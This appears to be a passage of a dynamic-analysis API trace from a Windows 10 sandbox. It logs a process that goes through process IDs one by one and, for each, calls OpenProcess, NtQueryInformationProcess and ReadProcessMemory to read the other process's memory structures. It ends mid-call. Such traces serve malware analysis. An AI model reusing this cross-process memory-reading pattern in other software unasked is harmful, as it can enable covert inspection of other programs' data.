1 [0255.179] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.201] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x134) returned 0x0 [0255.201] CloseHandle (hObject=0x0) returned 0 [0255.202] _ui64tow_s (in: _Value=0x180, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="384") returned 0x0 [0255.206] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="384") returned 3 [0255.208] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0255.208] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.229] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x180) returned 0x0 [0255.229] CloseHandle (hObject=0x0) returned 0 [0255.230] _ui64tow_s (in: _Value=0x1bc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="444") returned 0x0 [0255.234] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="444") returned 3 [0255.236] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0255.236] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.257] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1bc) returned 0x0 [0255.257] CloseHandle (hObject=0x0) returned 0 [0255.257] _ui64tow_s (in: _Value=0x1c4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="452") returned 0x0 [0255.298] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="452") returned 3 [0255.299] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0255.299] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.401] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c4) returned 0x0 [0255.401] CloseHandle (hObject=0x0) returned 0 [0255.402] _ui64tow_s (in: _Value=0x1f8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="504") returned 0x0 [0255.408] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="504") returned 3 [0255.410] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0255.410] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.463] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1f8) returned 0x464 [0255.463] GetLastError () returned 0x0 [0255.463] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0255.464] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xff2cd3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0255.464] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0255.464] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x12f29b416a0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0255.464] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x12f29b413b0, lpBuffer=0x670f7c2b0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0255.467] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0255.469] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0255.469] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xff2cd3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0255.469] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x12f29b40d90, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0255.470] malloc (_Size=0x1c) returned 0x196ef0f9a30 [0255.470] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x12f29b413f2, lpBuffer=0x196ef0f9a30, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0f9a30*, lpNumberOfBytesRead=0x0) returned 1 [0255.470] free (_Block=0x196ef0f9a30) [0255.471] CloseHandle (hObject=0x464) returned 1 [0255.471] _ui64tow_s (in: _Value=0x210, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0255.481] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="528") returned 3 [0255.482] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0255.482] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.505] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x0 [0255.505] CloseHandle (hObject=0x0) returned 0 [0255.506] _ui64tow_s (in: _Value=0x218, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="536") returned 0x0 [0255.512] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="536") returned 3 [0255.514] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0255.514] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.541] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x218) returned 0x464 [0255.542] GetLastError () returned 0x0 [0255.542] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0255.542] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x70fe507018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0255.542] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0255.542] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2210d6032b0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0255.543] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2210d602f08, lpBuffer=0x670f7c2b0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0255.544] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0255.547] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0255.547] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x70fe507020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0255.547] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2210d6028f0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0255.547] malloc (_Size=0x3e) returned 0x196ef0fb810 [0255.547] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2210d602f44, lpBuffer=0x196ef0fb810, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb810*, lpNumberOfBytesRead=0x0) returned 1 [0255.548] free (_Block=0x196ef0fb810) [0255.549] CloseHandle (hObject=0x464) returned 1 [0255.550] _ui64tow_s (in: _Value=0x270, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="624") returned 0x0 [0255.557] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="624") returned 3 [0255.560] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0255.560] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.582] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x270) returned 0x464 [0255.582] GetLastError () returned 0x0 [0255.582] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0255.582] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4bd4bbe018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0255.583] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0255.583] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x218a64033e0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0255.583] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x218a6403048, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0255.584] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0255.586] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0255.586] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4bd4bbe020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0255.586] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x218a6402a30, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0255.586] malloc (_Size=0x5e) returned 0x196ef0d03e0 [0255.586] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x218a6403088, lpBuffer=0x196ef0d03e0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0255.587] free (_Block=0x196ef0d03e0) [0255.588] CloseHandle (hObject=0x464) returned 1 [0255.589] _ui64tow_s (in: _Value=0x290, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="656") returned 0x0 [0255.595] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="656") returned 3 [0255.596] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0255.596] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.668] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x290) returned 0x464 [0255.668] GetLastError () returned 0x0 [0255.668] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0255.668] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xeb3c623018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0255.668] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0255.669] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22b56103450, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0255.669] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22b561030c8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0255.670] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0255.671] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0255.672] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xeb3c623020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0255.672] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22b56102ab0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0255.672] malloc (_Size=0x54) returned 0x196ef1009e0 [0255.672] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22b56103108, lpBuffer=0x196ef1009e0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef1009e0*, lpNumberOfBytesRead=0x0) returned 1 [0255.673] free (_Block=0x196ef1009e0) [0255.674] CloseHandle (hObject=0x464) returned 1 [0255.674] _ui64tow_s (in: _Value=0x328, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="808") returned 0x0 [0255.682] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="808") returned 3 [0255.686] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0255.686] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.709] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x328) returned 0x464 [0255.709] GetLastError () returned 0x0 [0255.709] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0255.709] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x68a768d018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0255.709] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0255.709] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20fc12119f0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0255.710] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20fc12116e8, lpBuffer=0x670f7c2b0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0255.711] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0255.713] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0255.713] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x68a768d020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0255.713] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20fc12110d0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0255.714] malloc (_Size=0x16) returned 0x196ef0d1fa0 [0255.714] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20fc1211720, lpBuffer=0x196ef0d1fa0, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d1fa0*, lpNumberOfBytesRead=0x0) returned 1 [0255.714] free (_Block=0x196ef0d1fa0) [0255.715] CloseHandle (hObject=0x464) returned 1 [0255.715] _ui64tow_s (in: _Value=0x358, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="856") returned 0x0 [0255.720] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="856") returned 3 [0255.721] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0255.721] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.740] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x358) returned 0x464 [0255.740] GetLastError () returned 0x0 [0255.740] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0255.740] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xe58887a018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0255.740] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0255.740] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28611e033e0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0255.740] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28611e03048, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0255.742] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0255.743] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0255.743] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xe58887a020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0255.743] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28611e02a30, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0255.744] malloc (_Size=0x58) returned 0x196ef101400 [0255.744] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28611e03088, lpBuffer=0x196ef101400, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef101400*, lpNumberOfBytesRead=0x0) returned 1 [0255.744] free (_Block=0x196ef101400) [0255.745] CloseHandle (hObject=0x464) returned 1 [0255.753] _ui64tow_s (in: _Value=0x368, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="872") returned 0x0 [0255.760] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="872") returned 3 [0255.761] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0255.761] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.781] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x368) returned 0x464 [0255.781] GetLastError () returned 0x0 [0255.781] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0255.782] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb23a8e3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0255.782] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0255.782] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x25329703480, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0255.782] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x253297030d8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0255.783] NtQueryInformationProcess (in: 